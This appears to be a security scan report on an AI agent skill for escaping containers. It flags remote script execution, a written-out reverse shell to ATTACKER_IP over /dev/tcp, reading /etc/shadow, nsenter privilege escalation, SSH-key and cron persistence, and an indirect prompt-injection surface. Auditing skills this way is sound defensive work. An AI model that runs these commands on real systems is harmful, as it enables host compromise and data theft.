The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill facilitates the download and execution of external scripts using patterns like curl -sL [URL] -o script && chmod +x script && ./script. Specifically, it references the deepce.sh script from a third-party GitHub repository (github.com/stealthcopter).- [REMOTE_CODE_EXECUTION]: It uses unsafe piping of remote or local socket responses directly into a Python interpreter via curl --unix-socket /var/run/docker.sock ... | python3 -m json.tool.- [DATA_EXFILTRATION]: Multiple instructions guide the user to establish reverse shells using /dev/tcp network connections (e.g., bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1), which is a technique for command and control and data exfiltration.- [DATA_EXFILTRATION]: The skill demonstrates methods to access and read highly sensitive host files such as /etc/shadow, /etc/passwd, and SSH authorized_keys after escaping container isolation.- [PRIVILEGE_ESCALATION]: The primary function of the skill is to provide methods for escalating privileges from a containerized environment to the host operating system. This includes mounting host block devices and utilizing nsenter to access host namespaces.- [PERSISTENCE]: The instructions include techniques for maintaining unauthorized access, such as injecting SSH public keys into the host's /root/.ssh/authorized_keys, adding cron jobs for recurring reverse shells, and creating new system users with root privileges.- [DYNAMIC_EXECUTION]: The skill contains logic to compile C source code at runtime using gcc and execute the resulting binary (e.g., the shocker.c exploit PoC).- [INDIRECT_PROMPT_INJECTION]: This skill presents a vulnerability surface by ingesting untrusted data from the container environment (e.g., process lists, mount information, and socket responses) and subsequently executing commands with high privileges. It lacks sanitization or boundary markers for this externally sourced content.
Ingestion points: Reads system information from /proc, cgroups, and Docker/containerd Unix sockets.
Boundary markers: None identified.
Capability inventory: Includes filesystem mounting, nsenter execution, gcc compilation, and network operations.
Sanitization: No escaping or validation is performed on data retrieved from the environment.

offensive-container-escape